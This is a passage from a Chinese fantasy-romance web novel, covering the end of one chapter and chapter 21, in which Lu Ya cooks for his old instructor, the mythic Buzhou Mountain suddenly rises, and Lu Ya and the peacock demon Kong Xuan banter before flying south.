再丢进水里洗去血水,冷水下锅焯水,中途加入姜片、米酒、米醋去腥增香,大火撇去浮沫,之后丢进冷水中清洗控干。 蒜苗、葱姜大蒜、洋葱各自切条,干辣椒切段,再用腐乳、生抽、蚝油、老抽调一个秘制酱料。 热锅下油,洋葱爆香,大火加入鸵鼠肉块,只是到这一步,爆香的鼠肉激起浓郁的香味。 蒙蒙热气中,陆压眉眼从容,随手颠锅时,手臂绷起的力度裹挟着强劲的爆发力,迅速而准确地翻锅颠炒。 肉出锅之后,往空锅加底油用姜爆香,下大蒜、香料,鼠肉回锅,米酒往上一浇,瞬间大火烹油,在锅中熊熊燃烧,翻炒几下,火势下去酒味挥发,加入酱料翻炒。 浓郁的酱香一下子爆炒出味,浓郁的香气如一把小钩子,死死勾住了食客的味蕾。 干辣椒一下锅,更是将人的食欲完全调度,香得人目眩神迷,几乎失语。 萧云鬓已经不想再开口了,她怕自己一张嘴口水流出来。 她猛猛嗅着空气中的酱香味,浓郁的香味中混杂着肉的香气,干辣椒点缀其后,激得人口水泛滥。 只听“滋”的一声,锅铲翻锅的声音后,陆压提着一盆干锅从里面走出来。 他垒了几个碗拿过来,另一只手则拎着一个电饭煲,打开米饭的香气瞬间溢出。 萧云鬓已经被这股香味迷得目眩神迷,飞速地接过碗筷,还不忘给他拎过一把椅子:“小陆压也来坐。” 萧老师发话,陆压只好坐下。 刚坐下,第一块肉先夹到了陆压碗里。 萧云鬓在训练营雷厉风行,下训之后则像是一个大家长照顾着训练营的小孩子们,现在也是顺手。 这一筷子可把急哄哄伸筷子的孔宣给气坏了,他鼓起腮帮子,狠狠地咬住筷尖:“你给他夹菜?” 他目露凶光,阴测测的阴霾笼罩眉眼,死死盯着萧云鬓的筷子。 天杀的毕方! 萧云鬓不明所以:? “来来来,大王你也吃。” 她大大咧咧地给孔宣也夹了一筷子,孔宣哼了一声,手速飞快,气势汹汹地用筷子把陆压的碗填满。 ——把葱姜蒜全堆进去了。 陆压面不改色地将这些配料挑出,见孔雀大王气势汹汹瞪他,快放生的葱段就这么转头咽进了嘴里。 萧云鬓有一瞬间失语。 她看看孔宣再看看陆压,两个人眉来眼去的死动静明眼人都看得出来。 蛙趣!不会吧? 萧云鬓咳嗽两声,故意说:“想当年小陆压进训练场的时候才七岁,筷子都用不顺手,还得是我们这些做老师的帮忙,小陆压现在还不会用筷子吗?” 被萧老师调笑,陆压面不改色:“那时情况特殊。” “确实特殊,小陆压力量失控的时候身上长满了羽毛,就像是一只小鸟崽崽。”萧云鬓说着,视线飘到孔宣脸上,孔宣显然听得饶有兴趣。 萧云鬓比划一下:“大概只有这么高。” “哦~小鸟崽崽~”孔宣拖长语调恶趣味地冲陆压眨眼。 可不就是小鸟崽崽? 陆压被清扫组带回来的时候,专门带给萧云鬓等一众大妖怪看了一圈,衡量其危险性。 最终是在场的毕方萧云鬓和朱雀陵光判定陆压是人妖混血,大概率是某种鸟类神兽的混血。 作为以家族式互相帮扶的鸟类神兽,是他们做主担保将小陆压留下。 别人入职后只需要按照分组进入不同的训练营训练一段时间,而陆压不一样,他在训练营的宿舍里从七岁长到了十八岁,枯燥频繁的训练贯彻了他的前半生,直到成年参军入伍被调入清扫组。 ——可惜灵气衰竭,陆压终生无法再度觉醒。 他注定是人,加入不了鸟族这个大家庭。 听到这里,孔宣脸上的表情变得极其无语,他看看陆压,再看看萧云鬓,脸上的表情似乎在说她“有眼无珠”。 “你们这么眼瞎?” 这么漂亮的一只小鸟也能是人吗? 超级——漂亮! 孔宣看看陆压再看看萧云鬓,他默不作声地蹭过身子,掰过陆压的下巴,审视的眼神扫了一圈又一圈,他面露严肃,手直往陆压脸上扒拉。 陆压:? “这么漂亮的一只小鸟,怎么会有人这么眼瞎?” “这脸、这眼睛、这羽毛——” 还有这胸肌、腹肌…… 孔宣咳嗽两声,往下划拉的手克制收回,他视线回到陆压的脸上,说话言辞凿凿,对萧云鬓的眼瞎深信不疑。 “毕方,你不只腿断了,你还眼瞎。” 确定了!全家族只有他有眼睛。 孔宣暗自得意,张扬地朝萧云鬓挑眉,脸上的神采飞扬起肆意的弧度。 然而这份得意展露不到两秒,萧云鬓趁此机会猛猛干饭,一筷子夹走几块肉,酷酷往嘴里炫。 陆压表面淡定,实则筷子舞得飞起,默不作声中精准夹肉,把碗堆成了高山。 只有无辜的孔雀大王受伤的时刻出现了! “……萧云鬓!陆压!” 你们这群坏鸟! 孔宣立刻加入争抢队伍,他“嗷呜”一口加速炫肉,美味的干锅炒肉送进嘴里,奇特的酱香裹挟着腐乳的滋味,米醋的微酸混进酒意,完美侵入肉里。 他舌尖轻撩,肉与骨头分开,肥美的肉质堆在一起,咀嚼的同时辣意刺激着味蕾,组成极佳的美味。 这一瞬间,没有人再抬头说话。 三双筷子组成刀光剑影,飞速碰撞间,一锅干锅鸵鼠唰唰消失,只剩下几片点缀的洋葱、蒜苗。 萧云鬓猛猛干了一罐啤酒清口,酒喝完忍不住哈了一声,跳跃的酒沫还在味蕾跳动,她面色微醺,明显吃美了。 “再来一罐!” 萧云鬓与陆压碰杯,陆压倾身从柜子里翻出一瓶玻璃瓶的雪花啤酒,萧云鬓都不用启瓶器,拿牙齿一咬瞬间就开了。 “好小子,有这厨艺!” 可把人吃美了! 萧云鬓比划了一个大拇指,捞起啤酒瓶跟喝水似地闷闷灌了一瓶,手中瓶子惯到桌上,暴脾气的她忍不住开始酒后吐真言。 “小陆压这手艺,绝了!比在妖管局干活好!现在这个局势,真是谁碰谁倒霉,因为清扫组被裁撤的事上头很恼火,天天在审查内奸,局里天天跟火药桶似的,一问就是没人一说就是不忠诚,去你爹的忠诚!” “老师不是只负责帮妖管局训练人吗?”陆压把新酒递上,顺手用一瓶豆奶换走了孔宣手边的酒。 孔宣歪着脑袋,慵懒地借陆压的肩膀架胳膊,漫不经心地说:“那就别给人干了呗。” 给人干活有什么好的? 萧云鬓笑了两声,不过瘾地撬开瓶盖,猛猛又干了一瓶。 她说:“不然呢,你不干我不干谁来做实事?” “现在局里还算太平,冒出几座山多了几只妖怪,妖管局还管得过来,架不住人心浮动,光靠压着压不住的,总有一天的。” 她倚着酒瓶,偏头靠近孔宣,一双如琉璃般璀璨绚丽的眼睛直直地映出他的眉眼,他长发披散眉眼秾烈,像是万事不放在心上。 “孔宣,我们没办法在这种局势中独善其身,你比我清楚。” “在上一次你选择明哲保身,那么这一次,你会和谁站在一边?” 萧云鬓意味深长地看了一眼陆压,陆压目前还是人类,不是吗? 孔宣捋头发的动作一顿,他与萧云鬓对视,狭长的眼尾敛起危险的弧度。 萧云鬓不闪不避,直直地与他对视。 “你不是来吃饭的。” 孔雀明王的气势终于在此刻展露出威胁,纵使孔宣表现得再无害、随意,无论有多么深邃的算计、高深的构想,也无人胆敢将他当成掌上玩物搓圆捏扁。 他也曾意气风发,也曾在黄金时代沉浮,上过最肃杀的牌桌,走过最高的山、最深的河。 孔宣眼神锐利,一眼就看出了萧云鬓的意图:“毕方,你是来当说客的。” 萧云鬓一拍桌子,谈判般往后一倒,她含笑点头:“是的,我算是先遣军吧。” “谁叫我是小陆压的老师,打感情牌总是让人心软,对吗小陆压?”她的视线看向一直没怎么说话的陆压。 陆压面色冷淡,冷峻的线条展露出别样的冷冽,他瞥了萧云鬓一眼,并不作答。 诚如萧云鬓所说,有想要颠覆局势的人,就有想要维持和平的人。 无论是谁,拉拢所有可以拉拢的人,都是最明智的选择。 一个是清扫组最强大的人形兵器,一个是从数次灵气衰竭大劫活下来的原初神鸟。 他们还没有明确站队。 萧云鬓吸气:“孔宣,上一次你逃开了,这一次你还要逃避吗?” “你知不知道金乌已经——” 她的话还没说完,大地突然震动起来,桌上的酒瓶碗筷“哐当哐当”剧烈碰撞。 萧云鬓不可置信,她几乎是在跑出去的下一秒就猛地摔倒在地上,两双被金属代替的腿在此刻失去了所有作用。 陆压和孔宣一左一右将她提起,他们来到外面,在这一刻,浓重的阴霾深深坠入他们眼中。 犹如暴风雨来临前那昏暗死寂的前奏,一座延绵不绝的山脉在极致的寂静中,以肉眼可见的速度拔地而起。 山脉上看不见一点绿色,只有寂寥的土色暴露在外,被长久的岁月冲刷出崎岖的痕迹。 所有人震惊地看着这一幕,看着死寂与震撼同时降临,宏伟的山脉绵延不绝,肉眼看去仿佛近在眼前,几乎顶天立地,将天地链接在一起。 恐慌。 恐慌。 …… 犹如原初的人类目睹一只无法抵挡的怪物、无法挽回的时代大山,所有人都陷入了长久的缄默中,近乎失语地注视着眼前的画面。 那是一个时代不可挽回的降临,更像是两个世界碰撞融合出极为扭曲可怖的肢体,恶心与震撼在瞬间敲响了血脉里的警钟。 “呕——” 萧云鬓被恶心地吐了出来,那样扭曲可怖的姿态,像是将无数只怪物的残躯缝补在一起,她亲眼见证了某种无法接受的扭曲。 最恐怖的是,拼接缝合的怪异之下,被缝合碰撞交融的躯体是那样的熟悉,只有他们这些活得久的老怪物知道那是什么,他们一眼就认出来了。 那是人与神的界限,是无数生命诞生的源头,是长久离去而无法回转的故乡。 那是—— 20-30 第21章 第21章藕尖爆炒无损兽 故乡…… 故乡, 在人类的文学史中是长久无法避免的话题,人们不可抑制的怀念、找寻着故乡的一切,将之描绘成无法割舍的过去,加诸无限美好。 无法回转、无力返回的故乡总是写满了遗憾与悲伤, 在文字中流泻出无尽的情愫, 用所有文字诉说着这份存在代表的伤感。 人的思念总与故乡联系在一起, 似乎所有的生命都从故乡开始,也渴望在故乡结束。 神兽们当然也是有故乡的。 在世界初开的时候, 世界是一片混沌的。 日月、地貌、天空才初初出现,稀少的生命在其中诞生, 它们在空茫的世界生长,沿着世界的边界将生机带向远方。 于是世界开始变化,天地间有了山川河流,有了花草虫鱼。 当第一颗太阳从地面升起,第一颗的月亮沉入地底, 于是世界有了阴阳变化。 当第一座高山升出地面,第一条河流从地缝中流出, 于是有了山川河流。 当第一片碧绿的草叶顽强破土, 当第一朵花绽开花瓣,于是新的生命就此诞生。 …… 渐渐地, 无数山川河流、花草鱼虫沿着原初的小天地铺满了整个世界, 原初生命走出的地方,也有了新的名字。 那是它们共同的故乡。 ——不周山。 “呕——” 萧云鬓扶着绿化带的大树吐得天昏地暗, 她实在忍受不了,只要往头顶看上一眼,古怪扭曲的画面刺激着她的眼球。 她艰难地挪动着金属腿,努力把自己搬走, 直到彻底看不见那座连绵不绝的山脉才好一点。 陆压给她倒了杯水,她摆摆手,顽强地支撑起自己的手杖,敲了敲金属腿,痛得抽笑:“老家伙指望不上了,麻烦帮忙把我挪到车里,我得赶回局里开会。””您这样开不了车吧?”陆压皱眉。 萧云鬓气得想抽他:“老娘想找个地方飞过去不行?赶紧的!” 萧云鬓一个眼神,又凶又利,拿出作为教官的架势,说话雷厉风行。 她发了火,陆压只好扶着她的肩膀,像是拎一只大鸟似地拎着胳膊给她拎回了车里。 路过孔宣,孔宣还看着远处的高山沉默,他似乎也被震撼了,眼睛一转不转地盯着它,良久才喃喃感慨一句:“这也太作弊了吧!” 有哪个原初的老怪物受得了这一出? 萧云鬓额角抽痛,一想到后面开不完的会就头疼,她举起手杖恨恨地想抽人:“受不了就赶紧给我承担起责任来,你还要逃避到什么时候?” 下一秒,举起的手杖被人攥在手中。 陆压挡在孔宣身前,他眉心微皱,高大的身躯直直将萧云鬓与孔宣隔开,他攥着手杖,轻描淡写地推开。 “老师,注意影响。” 萧云鬓:…… 萧云鬓的手杖被推开,她也被隔开距离,三条金属腿支棱在地上,稳稳地驻住了身体。 别说举起手杖打人了,陆压把两人隔开,萧云鬓也只能隐约看见孔宣的侧脸。 孔宣一动不动地仰着头,盯着不周山很久,转动眼睛斜斜地看向萧云鬓。 “毕方,不是我不帮你。”孔宣兜着手,他弯起唇角露出一个极为恶劣的笑容,似笑非笑地翘起唇角,语气散漫极了:“大难临头,我们还是各自飞吧。” 至于飞到哪里,就看各自的本事了。 “别忘了我们的交易。” 他漫不经心的态度与以前如出一辙。 萧云鬓抽气:“……你还是这样,我不管你了。” 这样最好。 孔宣冷眼看着萧云鬓离开,他回转进店里,不忘探出头叮嘱:“记得给我们萧老师免单。” 理直气壮的态度,陆压一时间居然分不清谁是老板谁是员工了。 “知道了大王。”真正的老板陆压压下好笑的情绪,随手帮萧云鬓关上门,手按住降下的车窗,他低下头,幽深的眼睛与萧云鬓对视。 “老师。” 他一开口,萧云鬓立刻举手喊停:“你别说话,小孩子一边去,这是我们和孔宣的事。” “你啊,还是老老实实过自己日子吧,小陆压,再肆无忌惮下去真的会死的。” 萧云鬓忍不住嘲笑,自嘲极了:“不过,如今的世道对你说不定是一件好事。” 陆压:“……我是想问,你们什么交易?” 萧云鬓竖起手指做出一个噤声的动作,表示绝对保密。 她出身军武,又培养了那么多学生,性格说一不二,她不愿意说的事,没人能问出来。 陆压利索地收回手,朝她摆手:“老师再见。” 小店里的电视机正播放着午间新闻,午间新闻里还是国泰民安的画面,孔宣却不在店里。 陆压找了一圈,最终在后院捉到了偷吃鸟粮的“小贼”。 “小贼”攀在树上,长长的头发晃荡扫过他的后腰,隐约透出些许腰线,被绷紧成长长一条,从树枝上流泻而下。 被捉到时,孔宣瞪圆了眼睛,一脸无辜地与陆压对视,试图用满脸的无辜蒙混过关。 腮帮子里还“咔嚓咔嚓”地咀嚼鸟粮,被掀开的喂食器里除了一点谷物,拌进去的鸟粮却被挑了出来。 外面闹得洪水滔天,他还想着整点鸟粮吃呢。 陆压手指痒痒,没忍住一把掐住了“小贼”的腮帮子。 原本圆鼓鼓的眼睛瞪得更圆了,孔宣不可置信地鼓起腮帮子,被扯了扯连忙凑过去“唔唔”挣扎。 被人掐着下巴一掰,满嘴的鸟粮差点掉出来,比小仓鼠还能塞。 “大王,你就没什么和我解释的吗?” 陆压忍不住逼问。 他眯起眼睛,危险地靠过去,两个人几乎脸贴着脸,近距离下甚至能看清青年眼上的睫毛,随着呼吸一颤一颤很是好看。 孔宣被掐着腮帮子,还不忘努力嚼嚼嚼,一边嚼一边瞪人,凶巴巴的样子特别护食。 陆压无奈:“你是吃不饱吗?” 吃了三碗饭还饿? 陆压松了手,孔宣趁此机会努力咀嚼吞咽,往胸口锤了几下,忍不住咳了几声,一转头又换上了得意嚣张的嘴脸。 “大胆!竟敢冒犯孔雀大王!” 人,你很过分! 孔宣张牙舞爪,陆压面不改色,手指在孔宣脸上狠狠一掐,孔宣哼唧出声,一头砸向他。 陆压早有准备,往后一仰,手顺着他的后颈一滑,掐住他的脖子加重力度。 “孔宣。” 不是调笑般的“大王”,而是正儿八经的“孔宣”。 孔宣扑腾几下,翻到树枝上坐着。 他拍了拍身边的位置,双手交叠,露出一脸严肃,打算跟陆压促膝长谈。 陆压随手攀着树枝一翻,和他一起翻坐在上面。 桃树早已亭亭如盖,树枝越过院墙直直通往外界。这个高度,可以隐约看见那座隐没在云层里的诡异大山。 孔宣望着外面蓬勃而出的高山,他目光悠远飘忽一瞬,似乎回忆起了什么。 “我曾经生活在那里。” “不周山,人类给的称呼,我们会说那是故乡。” 孔宣所有初始的记忆都是在那里发生的。 他不是母亲唯一的孩子,母亲曾经有两个孩子,他和弟弟。 他们一家生活在不周山上的一棵梧桐树上,梧桐树枝繁叶茂、庞大无比,大到幼小的孔宣甚至无法从迷宫一样的树枝间找寻到方向。 他们本就幸福,然而弟弟在破壳之前遭遇意外丢失了。 失去孩子的母亲日夜不停地寻找,哀哀的哀鸣几乎传遍了整座不周山。 于是,母亲格外珍惜起了唯一的孩子——一只灰扑扑的孔雀幼崽,他们依旧幸福地生活在不周山上。 “直到天地大劫,天数重组,无数的生命在天道的策划下死去、诞生,当然也包括我的母亲和你我。” 孔宣说起这些时显得异常平静,平静之下是早已久经风霜的无奈与默然。 命数从来不眷顾神魔。 “人类曾记录下这些大劫的时刻,在人类的历史里。每次大劫之后,灵气衰竭、神妖匿迹,新的天命眷顾新的眷属,于是人类一次又一次成为了这个世界的主人。” 而现在,新的大劫又开始了。 和上次……不,是比前几次还要凶险恐怖。 连不周山都再次出现,到底是天道想要给予一线生机,还是想彻底清剿将一切重置? 陆压思考了一瞬:“上一次在宋代?” 宋代之后,社会失序,很快一个大一统的王朝即将冉冉升起。 然而孔宣给予了一个否定的答案:“不,那是上上次,上次应该是一百年前。” 天道落下屠刀的速度越来越快,从一开始的几千年、一千年、几百年、一百年…… 祂拼命催着赶着,要神魔们快快死去,让所有非人的一切拉下帷幕,成为幕布下的尸骨,成为人类统治的阶梯。 至于为什么过程中会死那么多人类?那你别管。 “我早该在当时死去。”孔宣说。 他偏过头,那双张扬漂亮的凤眸收敛起严肃的弧度:“你可曾有那么一瞬间感受到了命运?” 在沉睡的那一瞬间,他预感到了自己会沉睡不醒,直至死亡的尽头。 然而幸运亦或是不幸,他在新的时代醒来。 孔宣探过头,一只手压住陆压的胳膊,他倾斜着身体,几乎与陆压肩颈交缠,两人温热的吐息交融在一起。 连同从头顶稀碎落下的光斑一起,化开在他的眉眼,他眼尾红晕,嘴角扬起的弧度依旧张扬。 孔宣轻吐呼吸,贴着陆压轻笑:“陆鸦鸦,我还不想死,我们一起活下去吧。” 他仰着头,看向陆压的眼睛里闪烁着光彩,像是溺水者看着即将沉溺的同船人。 语调轻轻,自然得像是在说一个故事,无关任何私欲与算计,仅仅是作为两个溺水者自身的救赎。 陆压瞳孔滚动,他下意识地扶住孔宣靠近的肩膀,粗糙的手在上面磨蹭几下,他几乎可以摸索到孔宣瘦弱的骨骼。 孔宣不似外表看起来瘦弱,可或许是鸟类的缘故,他的骨头很轻很细,被捏在手中,更品味到了几分脆弱。 “……活下去?” 陆压迟疑一瞬,他喃喃自语,默然地凝视着近在咫尺的美颜。 或许有些不合时宜,在这个情况下,他不可抑制地被孔宣那双眼睛吸引。 那双眼睛只注视着他,全然没有一丝一毫的算计与催促,只是这样平静地望着他,似乎任何答案他都可以接受。 这是一场变革,在人类还没有察觉之前,就已经有存在意识到了这场变化。 命运如同巨石滚滚而来,所有人都是其中的参与者。 陆压不做思考,只是问:“要怎么样做?” 他同意了。 孔宣飞速地扬起唇角,他脸上不动声色,只是眼角眉梢透出的得意遮都遮不住。 “要怎么做?”他点了点嘴角,潇洒地打了一个响指,飞速朝陆压眨了眨眼。 “当然好好生活,努力赚钱!我有预感我的人脉很快会给我们带来新单子,赚大钱也不一定哦~” 暴富! 孔雀大王神彩飞扬,挑眉时有点促狭的神色瞬间化为纯粹的得意快乐。 他一下子跳下树,站在树下仰着头,明亮的天光遮不住他眼底的光彩,像是有万千华彩摔碎落进他的眼睛,他张扬地朝陆压挑衅般挑起眉。 在陆压朝他跑过来时,飞速遁走,恶劣地笑出了声。 “你别追我——” 他被一把抓住,没忍住笑了出来,被陆压摁在桌子边挠痒痒,一边憋不住笑一边颤颤巍巍地抽笑解释。 孔宣被男人压在身下,阴影从高处将他笼罩,他无处可逃,快笑不过来气,徒劳咳嗽几声,磕磕绊绊地辩解:“我说得可不假,大势所趋我还能带着你逆天不成?” 他眼中带笑,歪头歪脑地在陆压手下乱窜,看着陆压的表情,实在忍不住笑出了声。 “你不会真以为我要带你隐居当山顶洞人吧?不会吧不会吧?” 恶劣的家伙。 陆压一把钳制住孔宣的下颚,重重捏了两把。 细嫩的皮肤飞快红了一片,孔宣还笑不过来气,一边笑一边鼓腮帮子试图恐吓他,最终绷不住彻底笑成一团。 孔宣笑得不行,整个人都快折过去,他瘦骨难支,没骨头似地往陆压肩膀上一倒,黏黏糊糊地挨在一起,刻意歪过脑袋,不断地挑衅。 “不是吧不是吧?真的假的?” 简直就没完了。 陆压掐他腮帮子泄愤,最终对上他那双带笑的眼睛,手指松了松。 “赶紧干活去吧,宣。” 他推着孔宣的肩膀,无奈地想把人打发走。 电视里的新闻联播播完,开始放一些农业纪录片,陆压拿着遥控器换了好几个台,无一例外都是一些农业军事的片子。 他视线偏移落在孔宣身上,最终思考着点开了《人与自然》。 重点是鸟类那一篇。 孔宣溜溜达达路过几次,还是没忍住停驻脚步,对里面的鸟指指点点。 大概鸟类都是爱美的,特别是他这种漂亮的雄鸟。 孔宣看了好几只漂亮小鸟,不是嫌弃这只尾巴短就是嫌弃那只颜色抽象,点评了一通,句句都是恶评。 陆压拎着凳子让他坐,他还不坐,非要站着看。 “这样看会让你更快乐吗?”陆压问。 孔宣一本正经地思考后回答:“这样会让我更显眼。” 至于为什么要显眼,他又不肯说。 大概他们这种漂亮大鸟都有点特殊癖好。 陆压翻开手机,这一次他没有翻论坛,而是点进了一个公共平台。 里面很多人在讨论突然出现的大山,里面的人ip各不相同,但都诡异地看到了那片连绵的山脉。 有的相隔千里,有的则在山脚。 陆压手机一动,刷新出来的视频里,摇摇晃晃的镜头记载着混乱的画面,靠近那座山的地面在震动中开裂,近乎地震般的震动震倒了房屋。 然而受灾的民众还来不及悲伤,他们惊恐地发现,一些外表扭曲至极的怪物下了山。 视频画面不停在晃动,尖叫与哭喊化作混乱的背景音,录视频的人非常惊慌,他不停在念叨着“怪物吃人了”、“有没有人来帮帮我们”…… 他的声音越来越混乱无序,最终化为深深的沉默,直到一声枪响,视频结束。 陆压再次刷新,这个视频已经被下架了。 传不出声音。 陆压非常敏锐地捕捉到了封锁消息的味道,果不其然,再次刷新很多条有关怪物的视频消失不见。 一项关于灾情的通报挂在了官号置顶。 “叮咚” 一连串消息弹出。 [离职维权会] :[图片][图片]不是吧,妖管局在干什么?没开化的妖怪都要拦不住了,派军队去拦这不是找人送死吗?妖管局的人呢?有人被返聘回去吗?给点内部消息。 :我没有,帮你滴滴@全体成员 :没有+1 :就一个小狐狸精负责返聘,那家伙自己都才上岗没两天,入职手续都不会办,都一个星期了我工号还在封存状态。 :那不就出不了外勤? :对啊,坐冷板凳,在局里干杂工,我打报告想去支援都不行,真服了 :……可以理解,现在局里内部传言有妖奸想搞复辟,签返聘跟投案自首没区别。 :煞笔吧,什么情况还内斗??? …… “内斗是人类的天性,人内斗不是很正常?” 说这话的孔雀大王围观了群聊,一边吃爆米花——鸟粮,一边抽空点评人类的劣根性。 内斗与猜忌似乎是人类写在基因里的东西,怎么也改变不了。 陆压颇为赞同地点头,不忘把他手里的鸟粮袋子抽走,在孔宣冒火的目光中问:“内斗确实人类的天性,你们妖怪不内斗吗?” “内斗?”孔宣眼波流转,眼睛还盯着陆压的手,恶劣地咧开嘴角,猩红的舌尖在唇上一撩而过,他点着唇,尖锐的牙齿轻轻抵在唇间。 他笑得恶劣,裹挟着滔天恶意:“看不顺眼的家伙,我们一般都会直接吃掉。” 那不叫内斗,那叫捕猎。 只有人类会有那么复杂的盘算计谋,他们遇到问题,直接把问题本身解决了。 比如现在。 孔宣咧开尖牙,毫不客气地“嗷呜”一口抵在陆压的手上,含含糊糊的恐吓:”放下袋子!” 我的粮! 陆压面不改色,手捏着袋子在孔宣面前晃了晃,袋子里的粮“哗哗”响,孔宣直勾勾地盯着,眼中的兴味快要溢出来了。 有一瞬间,陆压觉得自己养了只不挑食、一开袋就会自动响应的雀雀猫。 “下次给你炸点米花。”陆压一把收起袋子,熟练顺毛。 孔宣哼了一声,表示自己不屑一顾、宁折不屈。 他一屁股坐在凳子上,像是一只失去了梦想的小鸟,攀在椅背上哼哼唧唧地哼气,哀哀怨怨地控诉陆压的绝情。 陆压只当作没看到,把不知道什么时候偷出来的鸟粮袋子锁回柜子。 转过头再看那双眼睛哀哀怨怨地看着自己,他随手撸头:“走吧,去给你炸米花。” “咬你哦。” 孔宣一把抓住陆压的手作势要咬,重重地磨了磨牙,小眼神飞也似地飘向陆压。 挑衅、恐吓。 孔雀大王双眼锐利,眼含控诉,尖锐的目光足以令任何小鸟知难而退。 当然包括陆鸦鸦。 陆压伸着手任由他咬,最终是尖尖的小虎牙抵在手背上磨了磨,以示惩戒。 陆压差点笑出了声,他含蓄地压下笑弧,有那么一瞬间感到“就这?”的啼笑皆非。 孔雀大王矜持地扬起下巴,眼神示意,被可爱到的陆压压下嘴角,配合着赞美孔雀大王的宽容。 “走吧,炸米花。” 他又一次提议,这一次孔雀大王欣然接受。 于是两个人肩膀挨着肩膀挤进了厨房。 陆压抓了一把米,直接丢进大火烧热的油锅里,不到五分钟,炸开的米花香瞬间溢满了整个空间。 孔宣眼睛一亮,飞速地探过脑袋,他反坐在靠背椅子上,双手抓着椅背像是小马一样前后摇着凳子腿,“噔噔”蹭过去。 陆压垂着眼,手抓着漏勺抖了抖,捻了几粒递过去。 一个影子飞速掠过,孔宣一点也不生疏,探过头舌尖轻轻一撩,快速地把米花吃进嘴里。 膨化米花松软又甜蜜,自带淀粉的香味,大米炸到蓬松后,只剩下绵绵的脆软。 孔宣愉悦地眯起眼睛,吃到美味的表情美滋滋的,甜蜜极了。 “是粮!” 他吃美了,陆压神情一怔,指尖似乎还残留着黏腻的湿意。 造成这一切的罪魁祸首还在品味美味,俨然没有意识到自己的行为给别人的心跳带来多大的麻烦。 没心没肺的孔雀大王嚼完米花,张开嘴等吃,见投喂人似乎在发呆,驾驶着他的小马驹——椅子,摇晃着一头撞进陆压怀里。 陆压回神,连忙一顿投喂。 炸米花撒上酸梅粉、椒盐粉,成为了孔雀大王的新宠。 陆压炸了几个塑料袋,孔雀大王自己抱着袋子嚼嚼嚼,一天下来能吃三大袋,晚上还要吃三碗米饭。 “大王的食欲是不是有点太旺盛了?” 晚上,陆压和孔宣头挨着头趴在床上记账,陆压委婉发问。 他还没见过哪个老妖怪吃这么多的。 不如说,陆压遇见的老妖怪都跟成仙了一样,不吃不喝几天也不会死,不像人类,不吃不喝到中午就要死了。 孔宣一边嚼米花,一边盯着账本漫不经心地说:“好吃,爱吃,多吃。” 他捻过一页账本往前翻,眼神撩过陆压,忍不住撑着下巴笑歪了头:“干嘛?你不会真以为,活得久成仙了都不吃饭了?” 造物自身带有的灵力聊胜于无,孔宣这个等级,吃饭能获取的灵力太少了,所以大部分是没有什么吃饭的必要。 “不过吃东西也是补充灵力的方式之一。” 孔宣上下打量陆压一番,若有所思点了点下巴:“就是按照你这个情况,光吃饭撑死也没用。” 就算餐餐吃妖怪补灵力,又能补多少呢?想要二次觉醒血脉,那可是很难的。 孔宣眼睛晶亮,兴味盎然地朝陆压勾了勾手。 陆压靠过去,顿时一只手攥住了他的领子,一把将他拉到近前。 两人几乎脸贴着脸,呼吸纠缠着,能清晰地在彼此眼中看到自己。 那双漂亮的眼睛上下转动着,攥着衣领的手顺着陆压的脖子往下摸索过锁骨,摸索到腰腹,紧接着孔宣的脸上绽开了恶劣坏笑。 “陆鸦鸦,你的力量藏得太深,光靠吃获取的灵气还不足以打破枷锁,那是藏匿在你灵魂里的东西。” 他吐气如兰,形如妖魔般与陆压耳语。 “除非……” “除非?”陆压虚心求教。 陆压不动声色,甚至说得上太过乖顺。 高大的男人被人拉着领子一拽就走,像是只被拴住绳索的大型犬,已经习惯了弯腰屈膝去迎合对方,任由调笑与戏弄在自己身上发生。 孔宣歪过脑袋,靠在男人的肩膀上,两人几乎脖颈交缠,鬓发厮磨。 “□□” 两个字组合在一起,如一块石子砸碎所有沉稳平静的表面,在陆压眼中掀起涟漪,他瞳孔紧缩,不可抑制地剧烈颤抖起来,瞳孔凌乱偏转间下意识看向孔宣。 孔宣抛下一个炸弹就跑,他状似平静地低头翻起陆压写的账本,暗藏得意地翘了翘脚。 注意到陆压的目光,他竖起本子遮住自己飞快翘起的嘴角,眉眼弯弯地调笑:“或者,我们一起谋杀一只神兽?” “你想杀谁?” ……太恶劣了。 陆压无声咬牙,紧绷的下颚更深刻了几分,眉眼越发冷峻深沉。 他简直像是一只无从招架的狗一样被玩得团团转。 孔宣哼着欢快的小调,鲤鱼打挺般直接翻身躺平,他支着腿,乐不可支地翻着本子。 把自己乐得浑身发抖,乐滋滋地沉浸在自己的欢喜中,不知天地为何物。 头顶笼罩下阴影,他睁开眼,对上陆压的眼睛,飞快地扬起眉头,露出一个挑衅的表情。 陆压单手捂住他的脸,泄愤般揉了一把,直把俏皮的小孔雀揉得吱哇乱叫,双腿乱蹬。 正凌乱时,一只纸鹤在两人头顶绕了一圈,打着圈转着砸在了陆压头上,又接连砸在孔宣的脸上。 孔宣气急败坏,一把将纸鹤揉皱,气呼呼地反扑回去。 两个人在床上闹了一圈,最终气喘吁吁地歇战喊停,靠在床头看那个纸鹤是怎么回事。 一打开,一张手绘的图纹展现眼前,翻过来是一封邀请信。 又是妖纹? 陆压琢磨一瞬,有所了悟:“你们靠妖纹认人?” “你们人类不也是按图纹认人?”孔宣眉眼飞扬,轻快地扫过信件。 “哈,有人邀请我们去南边玩。” 他眉眼弯弯,明显很感兴趣。 “南边啊——”孔宣拖长声音,眼珠子一转,不知道在打什么主意,神情狡黠地冲陆压眨眼。 “去吧去吧,你知道南边是谁的地盘吗?说不定能找到好东西。” 至于是什么好东西。 孔宣眨巴眼睛,兴味盎然地点了点下巴:“说不定能捉到一只神兽,你不是想二次觉醒吗?” 比如,一只无损兽。 陆压挑眉:“只有你想吧。” 除了孔宣一直念叨着他是只小鸟外,他迄今为止一直都是人类身份。 陆压对能否二次觉醒并不在乎,倒是孔宣兴味十足。 他言辞凿凿:“你不像变成一只漂亮小鸟吗?很好看的哦,漂亮羽毛可是找老婆利器。” 即便是用找老婆当借口,陆压依旧不为所动。 第二天。 宽敞清亮的机场内,孔宣双眼晶亮,从高高的架桥往下望过去。 透明的玻璃搭起了一整座机场,阳光透过玻璃将整个场所照得鲜明亮眼,一眼望过去宽敞现代化的大厅干净洁白,唯有零星行人匆匆走过。 “这就是你说的不想去?”孔宣哼哼偷笑,背着手装模作样地从陆压眼前走过,满脸写着得意。 口是心非的陆鸦鸦。 陆压拎着登山包,把人从反方向拉回正轨:“因为包吃包住。” 他穿着一身休闲装,手臂绷紧着有力的线条,背着背包人高马大地站在孔宣身边,打扮得像是大学刚毕业的年轻人。 在明亮的大厅内,帅得出奇。 